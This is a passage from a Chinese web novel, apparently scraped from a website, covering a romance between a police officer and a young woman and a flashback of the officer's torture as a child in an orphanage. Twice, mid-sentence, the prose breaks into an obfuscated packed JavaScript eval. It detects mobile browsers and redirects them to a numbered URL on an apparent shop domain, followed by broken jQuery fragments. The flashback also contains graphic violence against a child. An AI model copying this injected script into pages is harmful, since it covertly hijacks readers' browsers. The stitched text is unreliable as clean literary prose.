公冶不识趣地还在维护最后的防线:“你前面说我身上有寒气。” “没有了,”邓烟雨委曲求全,把他当巨型抱枕,当大热水袋,“你现在可暖了。” 于是,她被他抱紧了。 可邓烟雨要的不是这种抱,她的肚子并没有得到多少缓解。 公冶伸手,撩开她的几缕湿发,额头的,面颊的,颈窝的。 “公冶警官……?”邓烟雨喘气,回眸看他,“你在碰我哪里?” 公冶盯着她,低声问道:“你以为我要做什么?” 邓烟雨语塞。 “昨晚也是这样,”他说,“关键时刻掉链子。” “我……”邓烟雨肩膀又僵了,但不是痛经造成的。 “你不想知道昨晚我要和你说什么吗?” 邓烟雨这个时候倒在逞强了:“不想。” 他不信,神色从容。 她说:“我害怕……” “害怕我?” “不是,”邓烟雨突然觉得自己好矫情,“我还没有心理准备。” 公冶倒不觉得她矫情,任由她靠过来:“所以,现在你只要我的手,不需要我这个人。” 邓烟雨嗅着他身上好闻的气息,委屈地说:“我都要的……” 肚子又开始阵痛,她话没说完,就痛得想推开他满床打滚。 见她这副濒死的模样,公冶心快碎了,哪狠心再拒绝。他放开邓烟雨。 “别……” “不走,我换身衣服,”他将邓烟雨放下,“这身外头去过,不好上床,等我一下。” 他往里面的衣橱去,没过几分钟出来了,换了套宽松家居服,手腕的表带早已摘掉,黑发之前整理过所以不乱,削弱了他的慵懒感。 不知为何,她有些紧张。 自个儿头脑一热发出邀请,人家好不容易愿意了,这会惺惺作态干嘛? 邓烟雨嘀咕自己哪来这么多作祟的小心机,强忍着腹部剧痛,面红耳赤地挪挪屁股,公冶将她的小动作尽收眼底,以为她是盛情款待给自己腾地方,趁势掀开被子,躺了进去。 32. 爱 被窝里暖烘烘的,像被小狗趴过,公冶在触及她的那一刻,她身体因阵痛引起的紧致感,带着些许的冷汗,无所保留地传递过来。 公冶心中不免恻然。 她每个月都要忍受这种酷刑吗? 邓烟雨见公冶静止在边缘,无意靠过来,便主动贴近他,一声不吭地往他怀里一钻,就此不动了。 “肚子……”她有气无力的声音喂了软水似的,振在他胸膛上。 “实在很痛一定要和我说,”公冶手往下移,“不能吃药,去医院也……你这个姿势我摸不到。” 邓烟雨拱出脸,与他呆滞地对视:“摸不到?那我躺着。” 于是她在被窝里找角度,毛毛虫扭动几下,平平稳稳躺在了他身侧,掀起眼盯着靠在床头的他。 须臾。 “哈哈哈哈,哈哈哈哈哈——” 公冶就听着她不受控制地发出大笑,以为她痛疯了,诚惶诚恐地问:“你没事吧?” 邓烟雨笑够了,说:“你猜我想到了什么?” 公冶:“什么?” 邓烟雨深呼吸,憋住笑,说:“我想起清宫剧里的妃子侍寝,就是拿一床被子包成老北京鸡肉卷,然后让太监抬进皇上寝殿,然后就这样放在皇上身边。” 公冶:“……” 邓烟雨:“我们现在好像在侍寝啊哈哈哈哈哈哈哈——” 她可能确实是痛疯了,也痛麻了,在被子里叽里咕噜闹腾,公冶没话说,任由她作,心下竟宽慰不少。 还能给自己找乐子享,可见精神状态不算太差。 “妃子有你这么不端庄的吗,上了龙床还敢笑,”她笑得被子震开了,公冶给她重新盖回去,“我要是皇上就让太监哪来的抬回哪去。” “啊,皇上你怎能如此狠心——”邓烟雨臭骂他,“你这昏君,都不顾及臣妾的颜面,臣妾这就去找小侍卫给你戴绿帽子。” 公冶:“……” 她平时都在看些什么? “乖一点,”公冶昨天只睡了六个小时,今天一早跑单位,再去扫墓,半日下来一眼未合,此刻上了床就困得铺天盖地,眼皮重得都打不动架。他出于礼貌撑了会儿,很快便撑不住,朝邓烟雨躺下,左手支着额角,右手轻捂着她阵阵抽疼的肚子,闭目养神,“睡觉好么?” “睡不着,”他温厚的掌心胜过一切灵丹妙药,如温泉水滋养着,邓烟雨满腹的剧痛逐渐瓦解了,这会精力充沛,“你今天干嘛去了?” 公冶淡淡启嗓:“跑了趟单位,拿你的夜间记录表。” “以后每天要填吗?” “对,事无巨细地填写,什么都要写进去。” 这是金刀一五一十转述给他的,公冶听说还要写起夜次数、说梦话次数,怀疑总部真有什么大病。 “哪位高材生想出来的?”他把密密麻麻的记录表往桌上轻飘飘一甩,“我这个月领基本工资,别瞎折腾我了。” 暮火拾起一看,也摇头了,上面的填写要素比海归的简历还复杂,表面功夫含量100%。 邓烟雨:“我问你一个问题,你如实回答我。” 公冶:“说。” “你是觉得上班累,还是照顾我比较累?” “上班累。” “真的啊?”邓烟雨欣慰道。 “照顾你等同上班,”公冶说,“双倍累。” 被他骗到了,邓烟雨气不打一处来,回击道:“公冶警官你太坏了,我不喜欢你了。” “这就觉得我坏了?”公冶睁开碎光流动的眼,笑她,“你不是说,我就算是乞丐,你也不会嫌弃我。” “我有说过吗,我把你比作乞丐?”邓烟雨一脸装模作样的天真,“臣妾怎么不记得,分明是皇上一肚子坏水,还非要把臣妾拉下水。” “爱妃想赖账啊,”公冶支着额,神情惫倦,眸底的光也不明朗,“那朕还有宠你的必要吗?”说着便欲起身。 “别,别走!”邓烟雨没料到他真愿意陪自己演这幼稚的戏码,焐暖的爪子拉住他的胳膊,楚楚可怜地眨眸,“臣妾知错了,皇上原谅臣妾这一回。” “你还疼不疼?”公冶回头瞧她,“不疼我真走了。” “我疼,”邓烟雨嘴唇粉白,卷好自己的老北京饼皮,“疼着呢,聊天能让我不那么在意,你讲点笑话好不好?” 这可难倒他了:“你看我是会讲笑话的人吗?” “是,你可会了。”她巴着他,和树袋熊抱树干有得一拼。 “我不会。” “那我来讲,”邓烟雨跃跃欲试,“有只大象吃榴莲,吃着吃着就吐了,为什么?” “为什么?” “因为象腻了。” 安静了几秒,他眉宇松动,显然是听出其中的谐音了。空气中浮起一丝丝暧昧的甜,他嗓音难得低沉:“我就在你面前,你还讲这个?” 邓烟雨害羞得拿被子挡脸,公冶要捏她,她说:“不许捏我脸。” “说好无限次的。” “明日生效。” 被她调戏了还不能反击,公冶今天是输惨了。 他躺下:“让我睡半小时。” 邓烟雨这才想起他今天还没睡过觉:“你睡吧,我不吵你了。”她规规矩矩枕着他的臂膀,缩好自己,乖得让人摘不出一点错处来。 “痛得厉害叫醒我,”公冶扛不动了,昏沉说,“不要自己硬撑……” “我知道啦。” 或许他连邓烟雨的答复也没听清,就陷在枕边沉沉睡去。 耳畔响起均匀的呼吸,没过五分钟,他的手就从她肚子上滑落,邓烟雨探下去捉住,重新放回自己肚子上。 公冶只能翻身抽开——抽不动,邓烟雨需要它,死死抓着它。 他眉间蹙起,僵持了一阵,既然翻不了身,就顺势拥上去,将温香软玉的她搂进怀里。 邓烟雨躲在他胸口偷笑—— 她是故意的,这个男人睡着以后太好糊弄啦。 居家服过于宽薄,一个无意识地靠拢,一个需求满满地迎过去,他们的身体近乎交缠,邓烟雨都不知道他的手何时离开的,应该是搂自己的那会儿。 她浑身放松,聆听他的心跳,很舒服地撞动着。血液流得愈发热了,她情难自抑,隔着质地柔软的衣料,吻上他的胸膛。 “公冶警官,你不觉得我们的关系已经跨越某条界限了吗?” 她问着,没有等来回应。 他睡得很沉。 正因为他睡得很沉,她便有勇气问出这句话了。 “我知道,你也有那么一点点喜欢我,昨晚你看我的眼神,我大概一辈子也忘不掉了。” “我想今天就跟你告白,我们都睡一张床了,总归要对你负责,但我还是害怕,我是恋爱新手,但我觉得你……特别有经验。” “……” “其实我对你完全不了解,你是本地人吗,以前谈过几个女朋友,小时候读书成绩好吗,家人都在哪呢?你年纪轻轻就买房买车了,难道公美都是年薪百万的隐形富豪?好羡慕。你爱吃榴莲吗?我爱吃,不过我不爱吃香菜。” “……” 邓烟雨一笑:“我好像连你几岁都不知道,我猜你二十七岁,还有,为什么顶美会找上你,他说你从来不属于公安,你以前……到底经历过什么?” “……” 邓烟雨呼的一下冒出头,去盯他,公冶裸露的颈项近在咫尺,她对他身上许多地方都有非分之想,颈项的诱惑力最大。 趁他熟睡,她往上挪了挪,整个移动过程中心脏一直扑通扑通在撞动。抵达位置,她做贼心虚地俯首,在他光洁的脖颈上啄了一口。 嘴唇与他肌肤接触的刹那,邓烟雨错愕地睁圆了眼。 过了不久,她慢慢抬起脸来,抿了抿唇,舌尖浅尝辄止,不可思议地端详这男人。 怎么回事? 为什么他是甜的? 公冶身上有丝隐约的清甜味,类似他平时吃的水果软糖、棒棒糖,总之各种清新的甜味,像洗过糖果浴。 他又背着她偷吃零食了? 为了确认不是自己痛经痛出的幻觉,好奇心旺盛的她再次埋首咬去,这回注入的咬力比第一口深,牙齿往他的皮肤里挤压,甜味四溢。 一浅一深两抹湿艳的牙印,标记在他的脖颈上,活色生香。 邓烟雨愣愣地出着神,心想我怕不是疯了吧,青天白日的这是要玷污良家妇男? 她脸又红又烫,缩回被窝面“被”思过,等冷静后再探出头, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16579285|187255||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见公冶眉头凝成川字,脸色蒙着阴云般不痛快。 眉头皱得好紧啊,是做不好的梦了吗? 邓烟雨想抚平他的眉心,可手一碰,他就颤了一下。 她即刻收手,不再去打扰他。 突如其来的触碰不足以让他畏惧,公冶感受到的是一根冷针,它被一只带着灭菌手套的手举在无影灯下,针尖挤出些许药水,然后刺入他的血管。 “心率210次每分。” “血压降得太快。收缩压55毫米汞柱——掉50了。” “还能承受吗?” “死不了吧,再添一支剂量。” 输液管掉着透明颗粒,每一颗都在放大他哭得通红的泪眼。他在手术刀镊和消毒银盘的磕撞声里,回到了二十年前。 那是2110年4月2日,他过完六岁生日的第二天,母亲牵着他的手,将他领到瑶光省独玉市GS独玉分所的孤儿院大门前。 像刀戟直直插下的铁门悚在眼前,门从中间裂开,走出一个男人。小公冶眨着懵懂的绿眸,畏怯地躲去母亲身后,揪着母亲的裙摆不肯出来。 “渡莲,要和叔叔问好。”母亲宽柔地推他一把,他不情愿地迈出,犯错似的走到那名男子跟前,嗫嚅地说:“叔叔好……” “你好啊,你就是渡莲?真有礼貌,”天光悬得刺眼,男子逆在其中,看不清容貌,“孩子长得比较像你,也像他父亲,尤其是眉眼。” “以后要拜托你了,”她说,“谢谢你,阿烬。” “我会视作亲生对待,”张烬牵起公冶的手,说,“我也会等你。” 母亲没有回复,公冶去看她,只见母亲蹲下来,拇指搓去他唇边残留的早餐果酱,笑着说:“渡莲以后跟着张叔叔生活,妈妈……要出一趟远门。” 出远门?多久? 一个星期,一个月?还是半年,一年? 他有好多想问的,可他已经养成习惯不要多问,读幼儿园时便这样,在家里他更不愿母亲担心。公冶露出懂事的笑容:“我知道了,我就在这等你。” “妈妈。” “妈妈,你要回来接我。” 懂事的笑容发出冰裂声,儿子拼命戴好的面具在她眼中四分五裂。 她嘴角颤抖着撇了下去,无论多么努力也提不起来,母子两人都无法再依靠虚伪的幸福生活了。假象比纸更容易捅破。她一把搂住孩子,上方传来张烬泛出喉咙的苦涩:“清绝……” 清绝抱紧儿子,最后一次了。她泪如泉涌,她从不在儿子面前哭,这次也不想给他看到,让公冶的脑袋伏在自己颈窝里。 “和叔叔去吧,”捋顺他翘起来的头发,清绝擦干眼泪,放开他,还是那样充满希望地笑着,“等妈妈回来。” 公冶身后是孤儿院的大风,他被张烬牢牢握住,目送母亲离开,看着她浅茶色的秀发吹得烂漫,看着她的身影逐渐破碎在远处的地平线上。 张烬带他往孤儿院去。公冶始终扭着头,去看母亲消失的地方,已经什么也望不到了,他知道自己被留在这了。 他小心翼翼问道:“张叔叔,我妈妈还会来接我的对吗?” “当然,”张烬说,“但今后渡莲要和我们一起生活,可以做到吗?” 孤儿院的圣女雕塑下,立着一位穿白褂的女人,显然在等他们走近,公冶努力朝张烬点头,笑得稚嫩可爱:“可以。” “我们渡莲真是太乖了,”张烬满眼疼爱之意,揉他头发,“放心吧,你妈妈很快就来了。” 很快——就来了。 白褂女人也和张烬一样,妆容精致的面庞上肆虐着无限爱意。 “这位,”张烬和白褂女人站到一块,说,“以后就是你的新妈妈了。” 公冶似乎不太理解这句话,有点冻僵的手缩到袖子里,仰起头,与女人亲善的眼睛对望。 “莲,”她用温情到癫狂的声音呼唤他,“你的眼睛真好看。” 这一刻,他们的身影竟是如此高大,堪堪挡住了那具圣洁的女像,咧开的唇角像一口钩子,钩着人性至高的光辉,与至暗的恶意。 他们真正的爱意再也遮蔽不住,无穷地,自由地,疯狂地破土发芽,暴绽出毒气浓郁的枝杈和细叶,簌簌作响缠住了年仅六岁的公冶渡莲。 33. 虐 一开始,他得到了一个孤儿应有的照顾。营养均衡的饭食,舒适的床铺,和同龄在宽敞明亮的教室里学习,除了不能见到思念的家人,这和他在歌华的生活并无太大分别。 契机是一只鸟。 那天骤雨初歇,午后,课外活动照常展开,孩子们在草坪上奔逐嬉戏,年长的则聚在一处聊天。廊下,穿白大褂的年轻男女目光追随他们,偶尔在反馈本上记几笔。 公冶在图书室挑了本书,准备去常待的大枫杨下坐着看,靠近时发现树下躺了只鸟,羽毛潮湿,急促的呼吸使它浑身大幅度地鼓缩。 它特别小,是出生不久的幼鸟。公冶慌张地望了望高处,正值五月,这株古老的枫杨到了开花期,垂下数不清的绿穗,茂密得把枝干都压沉了。 浓浓绿意里,完全不见巢穴或母鸟掠过的影子。 公冶蹲在幼鸟边上,焦心地看着它喘,身后冒出一个声音:“莲,”有个要好的小伙伴走近,撑着弯曲的膝盖,奶声问他,“你在看什么呀?” “有只小鸟,好像从树上掉下来,快不行了,”公冶站起,说,“我们快去告诉院长。” “要告诉我什么?” 他们回头,见院长顾令萍双手交叠于腹前,正含笑望来。小伙伴立刻张开双臂跑过去抱住:“妈妈!我和莲发现了一只小鸟,快死啦,你救救它。” “是么,好可怜的小家伙,它的妈妈为何没看顾好它,”顾令萍的语气饱含怜惜之意,略微欠身,瞧了瞧鸟,问他们,“谁先发现的?” 小伙伴诚实地说:“是莲。” 微风刮来香水味,公冶屏息,顺应她无声询问过来的目光,点了点头。 接着,他左半边脸登时没了知觉。 清脆的掴打声先炸响,他们根本没看到那只鞭笞的手,它狠绝得犹如急欲将脖骨分离、斩首示众的森白砍刀,削来的气流有种残暴的味道。小伙伴眼皮未动一下,就眼睁睁看着莲应声摔倒。准确来说,他是被什么东西掀翻在地。 “为什么要虐待小鸟?” 鲜红可怖的指印在公冶脸上惊心地肿起。他脑袋嗡嗡响,满指泥污,左脸火辣辣疼得难以忍受。回神后的他动了动,通身一凉。 他瞪着身体下面的幼鸟,上一秒还在垂死挣扎的鲜活小生命,已经被自己压扁、压死,和烂泥搅和着碾在一块,尖喙处迸射出一股白花花的黏液。他惊惧的泪珠怆然滚落:“不是我……” 小伙伴瞠目结舌傻站着,人早就吓呆了,都没去看最爱的妈妈死扯着莲的头发往回拖,只知道莲不乖,惹妈妈生气了。 ——只有坏孩子才会惹妈妈生气。 “为什么不叫我妈妈?” “为什么讨厌我身上的香气?” “为什么拿这种眼神看我,我给你吃的,穿的,用的,我就是你母亲!为什么你还想回到她身边?!” 冷硬的项圈套上、卡死,公冶怎么也扯不下来,被顾令萍掐紧脖子,一声声振聋发聩地逼问。女人涂脂抹粉的脸数倍放大,闯入视野,毛孔清晰可见,他看见了她颠簸的瞳仁里的自己。 一个孤独的,怯弱的,被抛弃的自己。 积压的思念猝然冲破囚笼,小公冶哭喊着清绝:“妈妈——” “我就是你妈妈!你看着我!!” 公冶使出全部力气推开她,即便他还是个孩子,顾令萍也经不住被美食家这么奋力一推,她连连后退,两个徒弟急忙搀住:“顾院长!” 他不要待在这了,他要回家——房子破没关系,我不会再让坏人打你,只要你在,去哪都好—— 别抛弃我。 公冶脖子被掐出红痕,他哭着,咳出胃里翻涌的水,脚滑了两步,连滚带爬向通道外的那束耀眼天光跑去。 “把他带到手术台上,”顾令萍的口红晕开了,沿着嘴角蹭到下巴,像吐了口不干不净的血,却满眼放光地微笑,“现在,马上。” 两个徒弟交换眼神,从白大褂的口袋里取出事先准备的远控器,只待公冶跑到离光芒最近的地方——按下。 他小小的身子在凌迟死刑犯的高压电流下被电得肝肠寸断,痛不欲生,像条暴晒在毒日里的干涸的鱼,滚烫的地表轮番炙烤它,焦肉一层层往外绽,蒸出底下哆嗦的骨头。电流还在贯通他的体内与体外,噼里啪啦的声音没有一点饶过他的意思。 顾令萍欣喜若狂地观赏着心爱的孩子在地上抽搐翻绞,她嘶哈嘶哈地喘,眼球凸爆。 “不要停。” “继续。” 她兴奋地说:“让他失禁。” 公冶忘了第一次进那间手术室,失去的是哪个部位,只知道没过多久,他的胳膊和腿又重新长出来,长完整,光滑剔透。GS福利院创办至今,收留的孤儿美食家里没有任何一个具备这样迫近神论的身体素质和恢复力,那些白衣使者抚摸着他抽芽吐绿的娇嫩肢体,目光崇拜贪婪,俨如在摸一件文物。 一台台手术下来,GS独玉分所在今年汇总出一份史无前例的绿眼人种人体生态研究报告,详尽程度乃至震惊了总部。 而这仅仅是开端,公冶不明白自己是怎么熬到第二年的。生日那天,顾令萍的徒弟推着轮椅,将他带到手术室,银盘里熟悉的器械排列齐全。 “今天,不要打清醒剂,好吗?” 消毒水味弥漫,大家在准备切割缝合用的手术刀片、镊子,一袋袋不明液体和血浆包挂上支架,无人应答他。 “不要打清醒剂,”公冶抖着苍白的唇,说,“求求你们了。” “你们听不到我说话吗?” 照旧是一阵沉默,于是他离开轮椅,用新生的腿走过去,把盘子里的针剂拿起来,五指用力,金属针管和里面的液体统统爆裂,流出他的指缝。 众人这才看向他,包括站在门口观察的顾令萍。 “你想干什么,ce-408。”白衣男子戴着口罩,冷漠叫出他的名字,一个编号。 “我说我不要打清醒剂!!!我不要打!!!” 公冶犹如一个发病的疯子,冲所有人咆哮,满脖暴起不规则的筋脉,嶙峋的骨架在皮下因愤怒而“咯咯”拱动。顾令萍走到他面前,漠视他。 香水味。这股气味和催化剂一样。公冶已神志不清,把她视作救命稻草,揪着她的衣摆:“我会听话,我随便你们怎样,这一个要求都做不到吗?!我不要打清醒剂!让我昏过去好不好?求你们了,求你们——” “那你该叫我什么?”顾令萍问他,“你,该叫我什么?” 公冶充血的双眸微微战栗,终究是低下头,从喉咙里滚出一声:“妈妈……” “妈妈,我……求你……”公冶在她面前跪下,哽咽叫着,“妈妈……” 一年了,一年了,他终于—— 顾令萍眸底透出怪异的狂喜,疼惜地笑起来,搂住他的头。 “你知道我为何那么爱你吗?”她爱抚着他的黑发,“我初次见你,你眼睛的颜色胜过世间任何美好的事物,让我无比动容,所以今天,莲——” 她蹲下来,握住他的双手,诚恳殷切地说:“让我挖了你的眼睛吧。” “……” 公冶没有说话,直视着这个魔鬼。 而顾令萍在他美好的眼睛里,找到了他对自己的那股恶心,想千刀万剐的恶心。 所以,她也没有答应他的要求,这一次,清醒剂加倍注射了进去。他的感官空前敏锐,手术刀消杀得极冷,划过眼睑,切开角膜,割裂玻璃体,肉眼在一顿细密的刀声里支离破碎。 每个人的耳边都充斥着一个七岁孩子凄厉刺心的惨叫。 每个人都没有停手。 这种日子要持续到什么时候? 他在GS独玉分所生活了十一年。他知道自己死不了,他们会把他折磨成人彘、猪猡、张着嘴巴嗷嗷叫饿的肉球,再竭尽全力挽回他身为人的尊严。 拆下白纱布的那天,顾令萍端详他的脸,心情格外好。午后,她破天荒地同意让他参加课外活动。 室外洒着朗朗晴光,公冶走出阴冷的手术室,站到久违的阳光下,他简直没了人样,身上瘦得只挂了一叠皮肉。 他没有去枫杨树下,鹌鹑般坐在门口的台阶上,圈着膝盖一动不动。 远处欢声笑语,草坪上来了几名年轻男子,和孩子打成一片,抱起一个孤儿美食家笑喊着“飞喽”。他们穿一袭黑,胸口戴着金属紫花,是从前边办公大楼过来的。过了很多年公冶才知道,这些人是为公安效命的公美。 原来,他一直在受公安的保护吗? 不,他更不明白了,自己现在待的地方,到底算什么? 向那些公美寻求帮助有用吗? 其乐融融的大家庭里,一名公美的视线环顾开来,不慎与他对撞,在他脸上停留寸秒,就无关紧要地移了开去。 没有人想接近他。 他们都知道,这个孩子的归属权是顾令萍。 正义就在前方,触手可及的地方,可正义永远不会眷顾到他身上。 又或者,这些人,从来不是公冶所期盼的正义。 他们只拯救人类与文明,而小白鼠的在这个世上的责任,就是贡献最大意义的死法。 胸口好像空了,不跳了。他望向一年前来时的那扇大门,圣女雕塑一如既往轻泛金光,门外的大道衔接着GS分所大楼,母亲便是在那里消失的。 …… “等妈妈回来。” …… 公冶想起这句话,忽然笑了。 不会来了。 都没有了。 全结束了。 这个社会救不了异类的他,就像蛛丝救不了犍陀多。 连恨意都不复存在。他睁着失而复得的双眼,看着那群唯恐对他避之不及的公安美食家,只觉得自己一无是处,是个尘埃也不愿沾惹的秽物。 一颗皮球滚到脚边,球体表面涂鸦着史莱姆。公冶看了有那么几瞬,把球捡了起来。 突然一只手挥过来,狠狠推开他,公冶摔了一跤,抬头一看,是昔日的小伙伴。 “走开!”曾经的小伙伴对他万分嫌恶,那道眼神,完全是把他当作一只卑劣肮脏的虱子,“别碰我的东西!你这个怪物!” 更多的孩子聚集过来,同仇敌忾地驱赶着他。 “伤害妈妈的怪物!就是你让妈妈不快乐的!你滚!” “滚出福利院!” 公冶在他们劈头盖脸的骂声里,渐渐找回一点“活着”的意识。 他爬起来,扫视着一双双乌绿的、翠绿的、仇恨的眼睛,嘶哑问道:“为什么说我是怪物,我明明和你们一样……” “一样?” “一样在哪里?” 他们每个人都举起了手,指向他的眼睛,一字一句,刻骨铭心: “你的眼睛——” “明明比我们的浅。” “比我们的浅!” 轰隆——!! 窗外捶响一记冬雷,惊裂了夜空,公冶骤然睁开眼,攥紧的被子一角已在手心里濡湿。 身旁无人,但有躺过的些微凌乱的痕迹,他摸过去,余温尚存。 这里才是现实。 卫生间水声停止,少顷,门打开,一束暖光泻出,局限地映照着未开灯的昏暗房间。邓烟雨走了出来,先去看床上的人。 “公冶警官,你醒了?” 邓烟雨陪他睡了一觉,闷出一背的汗,适才洗过澡,换了套干净的睡衣。见公冶撑坐起来,她缓步上前,趴在床边说:“你知道现在几点了吗?” “……几点。”他声音沙哑得自己都不敢相信。 “快七点啦,你足足睡了八个小时。” 他绿眸流泻着十分尖利的光泽,表情恍惚,獠牙失控了,露出点点端倪。邓烟雨忍住戳弄的欲望,说:“我去做饭,你再休息一会。” 她起身往外去,公冶见她要走,一把抓住她的手腕,如果力道再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16579286|187255||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大些,她就要重心不稳跌坐去他身上了。 “不要做饭了。” 男人的手异常炽烈,传递着一浪裹一浪的烫意,企图熔化她。邓烟雨犹如被吸进一口白雾蒸腾的灼热池水,水中逼临过来的却是一头毒冷的猛兽。 她对这样凶悍的气息并不陌生,她想起了超市里遇见的顶级美食家。 “身体怎么样?” 仍有下坠感,不过不严重,邓烟雨顺从他的力道,靠近他:“好多啦,我就痛一天,之后没什么感觉,放心吧。” “那也别做了。” 邓烟雨脑筋一转:“你不会要说你来做吧?” 公冶放开她,撩起眼皮,看去:“你敢让我做,我就——” “别别别!”邓烟雨用手臂打了个叉,“求你珍重自己也善待厨房。我们叫外卖吧,你要吃啥?” “点你爱吃的。”公冶掀开被子下床,他也出了汗,要去洗。等会还要把床单被套换一下。 邓烟雨跟在他身后走出卧室:“我其实想吃肯德基……”见他走得慢,她主动去搂他胳膊,歪头问,“你能吃土豆泥吗?” “可以,”公冶随她搂着,神思散漫地说,“不是炸的都可以。” 邓烟雨兴致高昂:“我这就去点!” 他走进客卫,拨开水龙头,想把满脑子的恶魇洗出去。 清澈的水柱打湿了雪白的瓷壁,唰唰的冲击声环绕耳畔,他双臂撑开在洗手台两边,脊背弓紧,指尖用力。听见她跑回来的脚步声,他关掉龙头,滴着水的脸转过来,问:“怎么了?” “有件事想确认一下,”邓烟雨躲在门边,露出半张脸,心动地瞧着眼前的出水美男,吞咽一声,“你平时用的沐浴露是什么牌子?” “就你卫生间那瓶,一样的牌子。” “我发现你身上好甜啊,”邓烟雨目光灼灼闪动,公冶反应了好久,然后看向镜子——自己白皙的颈侧有两痕粉嫩的小牙印,淡得几乎看不见,邓烟雨羞愧万分地道歉,“对不起,是我咬的!” 公冶像具坏掉的机器,重连网络好一阵,那张脸后知后觉,红了,迅速染到耳根那。 他的湿手条件反射,立马捂住被啃咬的地方:“我、我这两天糖吃多了,身体在排毒,所以身上有甜味……” “哇,美食家还有这种隐蔽技能?”邓烟雨找到新大陆一般惊喜,“那你如果炸鸡吃多了,身上是不是会有香喷喷的炸鸡味?” “炸鸡吃多了我就死了。” “……”邓烟雨面如土色。 “开玩笑的,你别当真。”公冶擦干净脸,往外走来。 “对了,你手机下午一个劲在响。”邓烟雨叫好外卖,刚和他说完,他的手机为证明自己确实一整天忙成狗了,再次在沙发上嗡嗡地震动。 公冶在岛台倒水喝,多半没听见,电话震了几震,自行挂断。 “我给你拿过来噢!” 邓烟雨拿起手机,未暗的锁屏上是一张户原恋早期的夏日写真,她半躺在小白船上,裙摆向四周铺展,身下湖水青蓝,一缕发丝掠过她琥珀色的瞳仁。 邓烟雨脑袋轰一声,炸了,都没注意上面显示的七通未接电话。 一只大手从她肩后伸来,握住手机,邓烟雨回头:“你喜欢户原恋?” 公冶脸色好转了些,视线在锁屏和她脸上反复了一遍,说:“嗯,”他解锁去看未接来电,“我回个电话。” 拨通过去,对方响两秒就接起。 “还知道打来啊,我差点上你家找你,下次别再这样玩失踪了。”熊小滚似乎在楼道上走,有蹬台阶的声响。 “知道,以后不开静音了,”公冶问,“怎么了?” 对面走了几步台阶,沉声说:“瑶光省下周要来人。” 公冶说:“他今天中午给我打电话了。” 对面又是一静,公冶感觉他想问候张烬祖宗了,趁他没开口,先说:“具体几号?” “13号,下周五,反正是白天,你记得腾出时间。” “我明白。” “我会全程陪同,有我盯着,放心。” “人家是省厅的领导,客气点。” “该客气点的是他,”熊小滚说,“还有,周五那天完事了,如果你身体有不舒服,及时汇报,夜间保护就交接给极乐或者斗香。” “好的,我到时候视情况而定,以往会有点犯懒,问题不大。” “小姑娘在你那还好吗?” “挺好的,”公冶见她跟个桩子似的杵着,在吃自己的零食,淡声说,“都胖了。” 还养得挺来劲——熊小滚心下调侃着,清清嗓:“行,要只是犯个懒你就自己搞定吧,我们不跟你抢活。” “那周五见。” “拜。” 公冶挂断电话。 邓烟雨在他打电话期间一口气干光一包零食,等他挂断后重新说:“你喜欢户原恋。” 公冶神态恢复了往日的柔和,凝视着她,说:“喜欢。” “……”邓烟雨心脏刺疼,她不爱听他对除自己以外的女生说这两个字,满脸流露出黯然。 “我把锁屏换掉。” “换掉也没用,你喜欢她。” “不是你想的那种喜欢,”公冶很快换成默认锁屏,展示给她看,“以后我手机里不会再出现她。” “即便如此你还是喜欢她。” “只是个明星。” 邓烟雨嘟嘴:“我知道……” 只是个明星,她也有喜欢的男星,也会换成锁屏。 邓烟雨想了半天也想不好,最后说:“我也要去出道,去拍夏日写真。” 公冶被她逗笑了。 “不许笑了,我正难过呢。” 邓烟雨又吃了一包饼干,蹲在客厅的电视机前,翻出大堆珍藏碟片,喊着我们一会边吃炸鸡可乐边看电影怎么样,但我不想看户原恋的。 他笑应一声好,朝她走去。 34. 侵袭 周五上午十点,歌华GS总部。 去往后方孤儿院的长廊光可鉴人,公冶抓着工牌走到门口,按了密码锁,气体冲开防暴钢门。 与办公大楼的冷色调截然不同,门后直直铺出一条平整的石板路,两旁栽种紫露草,还挖了口池子,搭了座精雕细琢的袖珍拱桥。 尽头的巨大铁门敞开着,放飞和平鸽的圣女铜像耸峙中心,光华四溅。 公冶走向GS孤儿院。 除总部外,全国一共分布着两百多家分所,再穷酸的芝麻分所也要求做到统筹兼顾,添双碗筷给孤美。GS成立的初衷就是让这些被父母遗弃的孤儿美食家有处栖身之地,很多精干的公美也是从孤儿院里培养出来的。 上午这个点有课外活动,孩子在大院里玩过家家,正念道“我是不会同意你和我女儿交往的!”,眼神一拐,看见一个黑色警装的公美走进来。 他捋假胡须的手凝在空中,盯着公冶。 三秒后—— “是小八,”当爹的他连女儿也不要了,冲公冶喊,“小八来啦!” “啊啊啊!” “小八哥哥!” 周围四散的孩子宛如潮水汇集,小鸭子似的张开翅膀朝他扑去,公冶蹲下来迎接他们热情到不能再热情的欢迎仪式,小女孩抱他最紧。 他们总是念不准公冶的代号,丢了后鼻音,把“影青”叫成“一七”,久而久之孩子圈里就给他取了个一加七等于八的“小八”昵称,连带着朗院长和市局的女警也喜欢这样叫他。 公冶可受不了一个排数量的孩子轮流往身上爬,费尽千辛万苦站起来,还得手脚不停地去摘腰间背后的几只孩子挂件。一个女孩占据有利地形,搂着他修长的腿,腼腆问:“小八哥哥,你是来娶我的吗?” “什么?!”有个男孩子拽她过来,“小八怎么可以娶你,说好一百年后我娶你的,你怎么可以随便找个臭男人私定终生呢?” 